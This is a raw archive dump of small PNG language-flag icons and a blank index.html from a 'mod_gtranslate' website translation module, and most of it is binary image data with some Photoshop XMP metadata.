IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:ABEB485C918211E0A87AD1065C98595B" xmpMM:InstanceID="xmp.iid:ABEB485B918211E0A87AD1065C98595B" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D0CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
80e�IDATx��U;oA����?�(�!��� � D�_D�
i���HE��?)(h)�&�@Q,$� ���ؖ����]��آ��4�jof���o���,`�i���slNZ���l�����Lh�u�9ӟ~��u��hKI������P{^�"-�f�$�ʲ�W��%@k/��q�AA��޸̦��[Z�3�
��_��
��]J��Ȇ�n��5�d�vy�g�NQ�f���Q|���k@�.��HڽE��0����t�x����r�hV`���+
ަK��đKazd�H`2��o���9��2,�����#��da1��i�Z@���6
����G�;��n��Y̒�`u��t&+�,o=��%�[5G�6�ɖǠlh\�iz��6,n,���6���cq��"��[�s7 ��X`�0�z>��@I�x����KV�Ȉ0�|�\Fi��υ3
b38�zF=�&�v?1P$�����zH��W�*5ا�迂��+�k�~��6�ܹ���$joނ������D�!K��>mb��o@��PfL�����M�D���c��A�\4]�2�b��E���i8�@v�נ~f���}���l�<o)�e����Dp��_�Jpm�)r�4��ρ��tz>|i���.����}�
0`oxwkIEND�B`�mod_gtranslate/tmpl/lang/24/si.png000060400000001711150746170550013020 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FOIDATx�Ԗ�oU�?o���' �`� �� ��!*D�������EttHTDt		
��B#��1�۹��[��{3C��p$��I#m��3��{of��q�+�ב� =��%��m���Z`��G��Fn������OV��Cvi/
ٺ��������#�:N��`6�@��G9�.Ā�]���T��s�پh0���#��f�$f��W��j$j��<�+�hΡ�a���;��2�gn�1Ĝ� @�0f�r<��+�jJ��Pz��G�}9�\5\����3� �����\���)h*���bV6�i���8��8�4"�7�z7!�¨��U��Ӑ��<�P��M��1&~��낼.���Ҽ�sH3��<��t�����r�R��q���
��I���h 9~Pi�A�)��B��ɘ$1��0��EHk�~`8�0�
dLop���뷀M�^pYDݍ�9-�y-E�(�co�WH�����)>�Q]��	b
��b�|W��r���G����ᚑ,8����@��*n����`�P�h��Z`�tw�~5���_gߋYy+��0��\cL���j@0U~Tz���|��q�#}��w
��v`z��l���Q��H�h-�}Ɛ�P�HL8�:��v��>a��B��0�-̝m���|y i���E���kJJ�]���-n;�__�×����dǣ[d&�lց��N����灩٩G W?�g�W�/��vrr�Ʊ
�6���b6nZCS�����t`�x�ܜc���SX���<p����D����Vj�����gG���,IEND�B`�mod_gtranslate/tmpl/lang/24/co.png000060400000001375150746170550013014 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�+IDATHK��Oh�qǍ��()'q��f��`���a7'%K��\�A���@Nk��h�QSk#��������1�{՛OO��y?O��+�b�3(��A!E~�b>�s���`�Z!�l6C.�C�T��p �Lb�^�;oooxxx�g���QĔV��t:E.�����&�	��
�A�R���
\.�b1��n��P( ������F���� ����w��e�L&H��R�t�l6���|>$	��m��c�P��_�x�v���Ox
�bI�*�
6�
�L�H�`�T
���0����X,��f\�6L���{H$8�N�d��nu:���p~~��O�)�J���^����NNN��!g�B�b��N����G.s�A�Z���ю��,����~^__��eo�4 o�t�*�_��.���t:M'a���P(�,��������o�	����x<t���j�b8��j���qY��lryy�eb0�\.�ӌF�t>�2 ��nZ\��c4�X�VC6��g>�6 K�����1�S1�B�R̠p��@�>‡]IEND�B`�mod_gtranslate/tmpl/lang/24/tl.png000060400000001704150746170550013026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FJIDATx��OhTG�?3�����U�Gh�	A�-�`���֛ )���E)�*[��*�K@�R̡�4E�� �ƨ(mi!
˒��M��{ofzx/q]b(�Mr�������~3�Z�F�d��9�����i�:��ˍ��#�D��	��������v�nz���:��
������m������Ç�$��M����:��B<���ϩ][?��}�$�]�K�Zرc3}}�x�&SS��nbM��TB����l����6.�db�o'��Q��u��ԙ�8~� CC㌎�A))���d]�1�Q=�C:�2<|!d��)T�+D}��Eo��d��T
I&݆�}@0j'�0>���$��p��U
��Dc��Z?C��=	,�����{��ο�'�y�`
'�iɛ�+�ŹUm	|]����ވ��*���.�n^�+����Ʈ�]u��QJ��
�0y��x�ltv�L���p��/���?� 3�lY��"���}�
�
P�@uE��o1��:��i@�0�р�!�� �8����hLu>��ⱏ	�Dx-��
�'Ƙ(�$zc���&;!�I��/?�L��-X��5NX�A�4��Y�g��p�{�Na+D:
ZӌD`Õb����g�u�$C�R�^	��>�O?��or�L�\��>hS�t8�!�.L�L�o�ʵ1��J�Ka�H]�ꗄ��3���?��l��f�%��jh���K��	��ȗ_lrȗ9����u��>"����5���ilv/��L��M��Ӫ@Y<�n4��OV���L�IEND�B`�mod_gtranslate/tmpl/lang/24/bn.png000060400000001432150746170550013004 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�O�A���{�$�DPCh��	
k{*�[�X�h������Š	����q���ά��qw� �@�$�lv�g��ٕ�i�l� @���v@�������y��.$@I����yv�_�����4�J�7(ViF 
\��䡚�}BU�ѡ"��$jJ�qH�e=��{XX3�l�k:WX>^��
���sqo
��L�6����{x����5�\�L��v`jKx1�?x$�bT}���R?�\���}�M���T�z�Y[��q̛�|/@�8�0��U(gU��P��+�ZB�kfW!L�It��E�D�;JY��z`b'P��Sc�H�t;as��L"B����-JY(�t�a@����?vs�礧L�|�!�4��#E���Z���h�0L�_ðV���>(
s�Y�ͣA�`��!��Bf`�W13�_�Ҧ���Ҡxu�%r���^��~�ºQK�����>_��F����
U��1jv�r��c�~�G+ʥ�M���M�,ݎ��1���w8U0��%���W�	S�&�zQ�O��=�9*����t ��a��u�Z۳�B�Mv���y�7N�Q`;��%`���
�N���u���i|�r��IEND�B`�mod_gtranslate/tmpl/lang/24/lv.png000060400000001026150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��N1����DB
H��^���G!��*`A�Ş��d�	z�����k{��3��3�&�#"0/mMS�o�����?��/!������WWU<��,`�9�}Oz|ķ��|�8����/���aL��+�g�K���
���]���u���)0Hi�uuBo6���F�3���ZG�1b9�h[� ��7�u�]<g��s5�+�=0��m�i�Ͱ"B����IҰ��e�(J�l~�V�z������� g%���&b�	������n�b�ip.����g����ϩ�@s&ƈ�U�@�f@U!F�(F/3CDj& ��=p��:���Ĥ�b1IP�ڶn"*ő��`U9>wR���ִh�8���'l܎���
IEND�B`�mod_gtranslate/tmpl/lang/24/bg.png000060400000000743150746170550013001 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FiIDATx��KN�0��q�V�-�*!�
�p	��%�	��9H-}��̰Hچ>`�p6�7Q������=w�MZ�@�Я�9�@Y�����E&���q��oK��.8�O�&,R�eҋ��t��$Sfq�*��@n��|����8*���#1���M�$��*s]-���O|U��pe�Ě��
F�� ���wo���}�H^����R311���2�%���t�!Do���^��x~|�뎯�lC�!p����(*�<����3�y�IV����H��Ed���2�(*�+�0fL�o�>�Ӭ�p]m*�5p\enހW���Q�i	��s�6��x���V�UQIEND�B`�mod_gtranslate/tmpl/lang/24/ro.png000060400000001243150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F)IDATx��M��0�N2���TBB�`��8'���ps>���4M�ﱘ�u:�ڋ��ol5~�/��ˋQU�r��0@	L���#����|QV&�ӗ�;��p����ŷ�O+`V��w�_����Y��<L����f0�A�6p���!/�Q��ɯa�Q��8�~<�׌ٮ�b6�&������	n���vE�z�zw%*�J�y�.�m����� }཰\9��%"�<ZU�}���4m�N;{=!��m
h��
��5R��
�Fg������:���e&����Np�`�X���V[���Zk�����G���<::^�W�$?���!�MrP�����E^����
˳i삀B�Ts"y�I�q~|TARz;Fe\	�=����K��@�&Sp��E�Q���S���UI�
��nz�
��SP�C��V���G	��	E�n-�ύ�A$P�	LP��eL�<HDN�Z��tO(��ԋ�ɠ�|�0��j�$�9�
xv�����a>�@m�?N�����D1CA��IEND�B`�mod_gtranslate/tmpl/lang/24/el.png000060400000001407150746170550013007 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kQ���KӈI�P�R��PAEE\U�K�7Et��N�MAW��TV��t��
�P(��5m'���>�&c�j��t�a��˻g�9���g?C��q@�O�݌�
P����b��w_���D�5��^)&�G�P�J1zz�i�Ѻ�:�k����e�����KX�,O����r�=�ͽk�:Jn�b���@"�PqI�抓k�7��}���
`Od"�`�ZT�|Y;JhE����a�k�����J)b�p���.L֬�Ro���
&�^?c��Z���Z��u�&�Q�A�Ň�9^.�^m:}���SM�4v�c:lj@�0�-5�E���c8w��^�PX�X������`��b��Kʴ�A�M;+���2N<a�aE�^`�:�&fjM���i�	T@"��갉�r��y)����[i@�)r
�~[���0��
�\����>���YR�
���hm��Zu�qr�"�`��4^-]��F���}���M� ʷG�vkj�9̦�T�o>�+툂�F��un������Q��bWE��/?�S*�p�7�	�?�������f(��ݭ��r@BNFkݝ�s@���<���|���o�bz�f�@�>N�����5#k�IEND�B`�mod_gtranslate/tmpl/lang/24/pt-br.png000060400000002133150746170550013430 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖKl[U��s�ul'N�$���q��(
-��R)A�h@P6,@�+$��!�����B @��R��"�P*%����8;v�ؾ��M�H��"Y0�{ϝ��;���Z��$�l� �5������)G�Nƞ��\���{�jp�)״u.	�LЖ�=-��+,�����	XQ��e���S5.�j�)i�|1w>�%wc�3�C9n�%1X>o&���'5�X@��c��x֐S򪰂jQ;�|��cI�[fQ�������&>OD�WG�(��qP����Z�/ȕ�
�6�+g8�1Aq���oocd��-�w�b��)�+��suHi�K�pP�,(�Y(-�)XԒ��"w�O��-�H���^����tL�70��n�|�k�q���#|�w+Sy?A���֪��b�X [\�h�{�L�s�e�ڷG�
(�n���IFGH���w	G���:���I����d�ī�y��@�C����ik$X��t/��"�I:45�]����cyN��cb�k�R_��#ے�m���N&RT�H)R���6&ZU�H�-V!�fd�2xp7�r}O+�iPI��qm��bO5.kFPbp:Dϱ.�9q1iO�T�6��t�,J���t$U5.%���o��ğ����Qd<��?u�����Z�)-(��	m-GNo�.��6#��<~ߗ86Gq��bޒ��
Q_��}W/���5����xih3�Z|���m���M�Ռf�}'��Exn�_��&_������ʎ8�8N�}������F!_9kmuY��a$�X��B_"�@2�;�p�^�� �
9��r�og~j}
a�����BSZ� 1���qKd=�c���*i����o�i��ф�vi-�1�mj�AZ�v�NȺ*8=��@NIZ�pV��t��=e4*���ő���&��p�;A�@���I����_*������w��tDIEND�B`�mod_gtranslate/tmpl/lang/24/fr.png000060400000001175150746170550013020 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��;��@��v{4;;	��p2V�r�M�7 �{�MH������G�a�b���L���e��뿪��JD8�e����e�<�y����;��Ÿ��0k�o����^���g9�β���Wɶv��d���+�:����l�5�%6���~���)����O/��,s�M�Ѷ6�Қ�E���s�����4��v��b]�g�3TU�&��z���7�eCU�{��@�P
1�P��h�) "2��S��@�8N��GNj��aQ�c�)Q�H�C[�#�w�����X뒸 T�xth=T`���֧9w�q���^
��9��D�I��'&�kc"Bi$����j��yDH��`�S��IV�0<H���c@�:�"���R
g�T�C�<�3��+���J)NfJ�8���r� �P�VOҔګ��B�x�����f3`[�aҧ$�^�O\�����N�꟧4���rzn���c6Հ	ûIEND�B`�mod_gtranslate/tmpl/lang/24/fi.png000060400000001013150746170550012776 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��;N�@��%k� HD$�ABt44�8�@�4�܂p��C""�{�A�'!���v�߬5k?���+�=Uj��������e����Ϭ�˫�����o�T[�U�݋NQ.�tb�^�(�jr�m�<YQl
����Z��r��Z�pX�'練�w��]�|�&c*~ֽ�V���_�|���)�K?��� �RS,BeM��$W�!�N�q�����-�8v�J9 ��p��- j�����0�c]9͉��XRK ��Ǖ���:"��o�Np���� �1Ap��s���2XO�9s�Wkm~�":�ɜ[i�25�ʁ"t��v�X��^o�i~-IJ��~��#�8(y>�g�4�{y��
+B��sZ5�����w�IEND�B`�mod_gtranslate/tmpl/lang/24/ko.png000060400000002521150746170550013016 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[LSw�?��=\� ��HH�eY�%Y���DV�%��$�is�{‡eN���3��,^�1^�"FL6����B�ˆ�a^Bm�����T�b&/~_��~������,'4,3^	�- O>_& �V	!����2��H$x�(I$���Ln���aN�8��Ǐ�F�K&����q��q�&/�W�\A�e.5]����Ϸhr��Ogg'�O�&33�˗//-
���x��!����\.ג�B!���1�LSXXHgg�su�;"��ϟg���x�^


����n�'稁Q��Do/��ł\bG��@~~>v����T����|\�z��Lnn�0�
!<S.������EEEܹs���c?_g����h&7PUѬ\Izu5����'O"I���BNN;v�@���((�sl۶
��ĭ[����yF~�:��_�
%�QՉקO9z��ŋI[eee������GII	���I�w`
###���QUU5�5�aw�D	�v�ɥ-*BQ��d�46�3�hii�f�a�X��E
��'�ZQ�֡MO�Z�����yti���([�]��!��>^L"*�-ֳ�`��Z�1�u�"�y#�Io��	�n�޻�a�v-�3����F>�� ��z5o�"8ʄ,h�嗸B�R!�8�ll���~��􅼮�v-��U�@��0�qFm��I<��5��1<<̱cǒ�w7b1grI��˔�4�(JF��
TU�+�Rx�jCrݩS�x�����:c��͛�۷��g�r��9�z��Dģ
�Wc��
�*�	���({?}�<K���9|�o����)�X,���466r��
|>v���I{{;���\���=_9x��c��4>����v�%I���	n߾��j�l6S__�$I���#��DF"OJJJ2���SYY��h����G������xc�����GQU�������7=��uuu�F����̙38��d>�D"���M�Þ����▖���q8x�^�^/���g����쎎jkkٴi�,S\\LAA�cF�7�XQ������n���ؽ{76�m���h4r����	�B�\����l�A�u�Vq��]
��R�ń�����g^����5��ŋb!~�_V���J x���<�H@.P�yɗ��?��K�ʅ.��#b�����t��;���{���IEND�B`�mod_gtranslate/tmpl/lang/24/index.html000060400000000054150746170550013673 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/lang/24/ka.png000060400000001137150746170550013002 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�ԖMn�@�cL�'�RŢ��T܁B�A,�K�eaYu�8k�8A�Z(����n�xް��x���"Y��h4���ce�a��fY;�\��_��	0v��1�j�����ԫ&[_�,�^�
h-�N�KQJP[6����N��X�Կ������t���:�6]'w�bw�\��ـ0D�	LXw	�&���2�%���$�<<���`|�oX�,�H��R
dt�+r\�/b,���7ԟn!W�꒙��
#N_��?\]�g��q�==�*&�n6!��{O�G�)��L�ONОW1��B0����F#W���B�fE~t��B7�#QmJ����v�2�G� ��vF�����C�����X�ǽ�e���
R�d6Ksp�lD�=�W-��Up(�Y4h��G ��KF0S9h���r���w�vf�3c�'��Ae��8�5���@?{���G+~p<���h�t�Pb�V�����F�z��IEND�B`�mod_gtranslate/tmpl/lang/24/no.png000060400000001347150746170550013026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��?kA���3&9$J�
bag#B@��"_���g�l�i��J�,-,bi*�<��۽ݙy�b�ݽ�{����53��潙7o��r�p�r`�`�h�)HC`���׿�q�g����~���3��p�����a�O��l<Z/���7I��
��E���)rx���1y[����r����:���q�czA��X�����Ѩ�:�\��4=��u4B���H� I�h��*�6�F�t���Ρq��L:Ll��4��:�G�[�j��F@��k�Ǎ�Q\�,�P���J48y�HU�ƶ��c���k��ؚ־}��|g%�ڗ�!���w(��Tv77�δn�A��<�8�:a�	z˗�����ƘV���7y>��zfU%�{!�Ν��4E�;�`}o�*��Z�u��wB�ۭB�#Ti����,�Gl-�u(��L�5����x�tok�P���p��6��IN,���'�AޏH^��U�3V�⥪	�H��ϥ4��D3GS�_C�=,-5._�TU5-��!�
�Џ�
V�}��C��~��4O2�
�
<�͹,?~��O�\��������[�;^Y�IEND�B`�mod_gtranslate/tmpl/lang/24/de.png000060400000001132150746170550012772 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Kn�0���d{��H�"��A/a����@�Sh
K-�1]����"@�MfC��#��p(��=�pg{�V��ihK�q��(���c��v�K`m�a��d���Xy�iۖ�ဦs����Hj���a/M�r�Iu2�<=�i�`U���r:������9J��Z��Y��%]��{꺦i�,EQ�TUu�@����@���Ed�_�����&�	>�����U���
��ҧ> �o�x�u�P��#zv����:N���$Ӻq)�7ЀzU�&���-�,{�#�
�X,(֏=@��B�tB7<�U4�UԻ�D2�z�[	��k`���U2{Ռ���6��o:�墁R>��z#��-���;�a��1@��hB���s�P����y^}˼:�I�g/�`2�^BT�y���i� �3���9-�|��&x�ʜ���=N�
�k+��[/IEND�B`�mod_gtranslate/tmpl/lang/24/id.png000060400000000752150746170550013005 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx�엿N�@�?����JH���@����T�LHT�I�\�l�6M���֋#����vtbf�i	=�	@�0�}L@����oD�/����U
�%I�xz���M>�)0��9�gF3�"@wLEdC�k���vu�x����-�(W�}��<s ��+J�<)��Zq�~���[��r%��	�!����`�[hU�y�-�Q�+�9�>��sl���U�����n��X��=�eXY���؈t�:q�m���i�{��&y�UU��ԛW�;3���#�Ovm�(�P����y�!�T���x{��1lR �*�鴏=����E�ޥ�\�>���\N�Ӿ~P_�M*'��IEND�B`�mod_gtranslate/tmpl/lang/24/zu.png000060400000001740150746170550013045 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FfIDATx�Ԗ]hU���wfw���h�I+%aiQJ�i��RQL�񥤶 ��P�`ł� ��-��}|}
�`��F���"%��֍�Zk�;�����ܹ>즫B-Ƀ.���{�9��s�5��,�Y`&`����w<��$���[1� ��fp�A�yE����6H	%���M
"�d~��[�[w��8�WE`�'�c�)0�[�S�N�qЦ�������^��H�~����t�d��h��� ڲ�H��>Wgk_��]�Z��zU����&x��Lݳ���n�Ƚ��U���n��6� ���f�Ŏ��ڗ�e�
��邏�}|���8�-�
�^�5q<�.;�������/�_5�彽�gr�K�*��q�/���
������7������ytuu�0��===g:;;)�J���		�&�F4���'��]�0���d���Y�Ya�aH�\�q������L��P�s)��/��Rq`v[��y��2v2iI��T��t+�h^@�v��i����!J)�o0x���%��Sh���H�_��,���(

�61of��î�G�ã!$�+��!C�1x��A�RR��X�ƚ R��\o��p��S����:�t���rM����p�B���w�R�R-^;d0��S�A��E��*�cx�&>�}�����sam�����1�U���ƕT
������H߳������2�U�hME-�ǟ���$e$��16�;��̿�g���?J::2���i
J�K� 0�� ���}�=������;H,K�y��X\d�ᔁ�َ�K�.��@�߿*�.s�b���IEND�B`�mod_gtranslate/tmpl/lang/24/gu.png000060400000001121150746170550013013 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/so.png000060400000001326150746170550013030 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F\IDATx�Ԗ�jA����%�h���
Q��M@\��W.|��-\�ѝэ��H�7�` �f$Ę!�3��:�Ť'=���34�T�����9U���2L�ن`T�Ҁ�΀�ƞ<[�c����F�����`�8��o�{��!
YT�f@Q=�4���O��߹ժ�(�=����,��~�%�)g���
���4�Gҗ}��d��u����\�t�DOD"I8LC��G�f­�1���}�A���=�ØV@m���@.���Zőe�w��g(�,g����0�D����bA�I����@��xsf�;�'����`xtc���6o�7�"�SLBG����A3�pRU��_��nƒ��m9J����
�~bl�Lͪ`���"�@AD;��ś/k�l����zn5
J׼(B�B!��vB;�a��Y�]:��O�dA�w�
3S��hP���E�XE!�����
�5��Z���-Pec���#,�7z�)&9�b�7���;�Yd���[ܦ\�xgz��|'��S��{T�����[���Db�NUmo�5U%ʉDYB��F��0L�����w�J.�-���oUPS�<�]�IEND�B`�mod_gtranslate/tmpl/lang/24/st.png000060400000003007150746170550013033 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:27847480909B11E0BBEDD27DD375BB10" xmpMM:InstanceID="xmp.iid:2784747F909B11E0BBEDD27DD375BB10" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>r���IDATx��V�NA��
?jB ;����0jԗ��|�A�1$Ҁ���t�û��qv9K�$_n�2�};s��g��lX��\�b��5�g�[0�y�����q�'ss��2�m���Q��7��(7B	A��A5��
��k�|R���x�܍|
PjW	"��i�0ϳ!R���������4��m�6r]�3���e!ċ;Lf�!"��5]���sp��(�8oWGɑZ�
�v���>�r��1�;�@ɖ�f���@K�g9˼"Zf�F���"
��jK�����~?1��Ԣj�J%(KtP�P��L��8��J�N��!��8��t��?�H��^�L9�)��3�����3@g����a"�A�.I#M����FC�'�3�/���H�y�7mD��cB�c}�*��?�c�0y��:����r4u4ֿ���`�wQ�J6IEND�B`�mod_gtranslate/tmpl/lang/24/ja.png000060400000001301150746170550012772 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FGIDATx���kA�?��d�����$zQ[$�"�
���P��A�"�'{����E"�xT���A�B���*TR ��	l�M6ݝ�T�b�Tb��/��̛��f�(!JXD�

�N��N��o)F�R�,�+�tYu���y��J��Xd�[���c���b��O ����e���P(@!��z��#14��2̋�K��թi��/a���"h|�O�!}�i+|��׋��B��xe�x���{[��_N��V��ԗJ���I���=T�n��w�ϞI���o$�HX.R�y��oOk��2�^��L˄Ż�[G@{�TB�0$��rټE�Ԛ��#���f\�����&i%�٬+���p���MF�� 5|���ֺY���}���B�@��5��+fyO3@bW�����" �W��@\zΝ'}�X�05왯T*b��䔼ٶS
*!s*-s�S
*!�zr�޺cl��<��r� �gg�<��{��}:F��:<����Y����n��+@�Z��Š$��q�L�B�5�R���N�
����m��\՛���SXP�Ө	���ߵ���IEND�B`�mod_gtranslate/tmpl/lang/24/vi.png000060400000001462150746170550013026 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��=kQ��33;��čA;E�*�����*��^�,{��X�?�N�BT�b%��1������X̮�]w�l3ir`��sw�s��wDU9Ȉ8�8 ��Xgx�H��?67w�k�/©�O��I�x�r���_�4 �Т �Z0��H9N�Td|�4O�wb^�l��Y�s�1�1�T�Ơ%%���^����g�e@!t�$h4������y1���&	87�=�n��J����U:����+���y^�E
H�vA@�Z��
E1��ә)BI��C˫q:�Cz6`>F�=I!�e6|0�j-t:�j�jQ�,\r��0H���\i��;9���h_��$���1����Ρ���g��p9t�A����3�`5�Ue��s�����w`-DѸ\�����~\W��5,]+�:�3~=XD}��
㕕=��x!�/���
2>�m��PM�ޗ9�۱:W
��%���轎齉�߮���3$��N�#Q��麧qβ�p�?�3VoVo�������;apUE+,lX�o.��lP*v���좥ؒJ~��9H��;����̇��^&d���~�\�	�a�(��1�2��}oZsF>��=����@PEj���V Z^�
b�`�բ�(�pXN�|,�	|��7��`�3
�-��
�wţ�)cz�gIEND�B`�mod_gtranslate/tmpl/lang/24/hy.png000060400000001001150746170550013015 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�nA���;��Ҥ@B�D�3 ^�.H�E
�"M���!�s�7�g�
��u�&Ҹ�4��+�3�ܿ1I���10,�;�����:��*~�7���0�����E��n�&�3l6�l�$̌]u�����m��/�g�pw��l��6=B���:l��C�J	��9��-�"�(�rG�e�\0�U�s�<y|�����5�z��}Z�^�\f�؋ �̬~d�X��^�/Q��_�5�2͗c�G�G���"{���S�w)e\�"pwR_��Oל�6�2n4�N�?Z��@^fN�Q�I�J�
�]>�2}Z�]��r�$+g�F�e@x�FE�g��|�}
8��;~�6��N��H���W��xo�mw�<`IEND�B`�mod_gtranslate/tmpl/lang/24/am.png000060400000001365150746170550013007 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F{IDATx�Ԗ;OTA�s����%�H�BD�ࣀ����X�-��hL��V�D(L0@0BCB���º�.�wf��]�e�n�IN�dr�<�s�g�Z)-��P�āH�}�������uTӳ�|��$��<�T�3�KI�5L@��)' ���=*�Xc��hk���B��r���4��s]��� @�pX(6<��<̾�����1�ƶ�"d)��d/�rX���������4y�s������ہ.�?	�T�M���F�+],L]��S��`q����N�n��٫K/k�2�t`�A�Fሉ�N��ח�����[}?�D�����G�o�Z]��X
vlDR ��af����]���&HD�|�~���� �`bUal�bTD�8�"NB�Q"£�UL�29�MG[��D�ɹnL����`�48�(� o��B�d�9���M^L�n�&���W��<�ՠ�"m<��&��Ԏn����E��KXw������d�&J��\�@Tn�5e��4���oF3� ��C^�%��R]Y�XS���:N!��
�q��]�c[���D����$��L:�R�a��hCJ�V�7�ځ+@G��'/Z��&�
���7ݰ6%S��IEND�B`�mod_gtranslate/tmpl/lang/24/fa.png000060400000001116150746170550012772 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�nA�{�G 6�H��#(�O/���B�� !A�(���!Q0(Ɖ�`�
ls1��Ź`�����|s3�FUY�e��VN`��0r@�g?lfJ�tr�e������hd�p��͓y��e��5�}�@�.I§��x8W�=�O���@$80��C��DQL�(��N��}E�L�(�0�c`}-�[jf
\
!�8�*7��|�6���B�#y�_s"R,�{0�?~"OB�~��ت�3����E��1x��p�'IDR`�q�W��N0g ���w0��?#�cT�Ϡ��mt8����d��%�K�s�b;���"�l���t���ں���\��E�vo�a]=:�g�5[[�A�:��l��{݈"�
�6ѹ�גn��^�KB� �J�,'[?SϠVES����Vq���+@�f�>�7�����,c�߿*~
w%�G�SIEND�B`�mod_gtranslate/tmpl/lang/24/bs.png000060400000001757150746170550013023 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FuIDATx�Ԗ[h\U��sI2dJ�Jj��TjEQj���6i�ސB�CA� �Zh�J
̓i��*^h�}ꓨPML��2i��Er�ə��9gﵷ��IiCɃ~�~�k�����۱ֲ��Ʊ��@�*נּ��z�\vߞ���ql�����}�jCJ>��뀱������t:�_���m���'��ǟ��4���lk��D��q,�up �~�4��G��T����4�q9{���gy�	$�ʊ�r�:�8��]цB,
O��55>mo�dK�FN}��K��ǫ΃-�)�)�q����V��D�/����j:��c�3Y�	����(
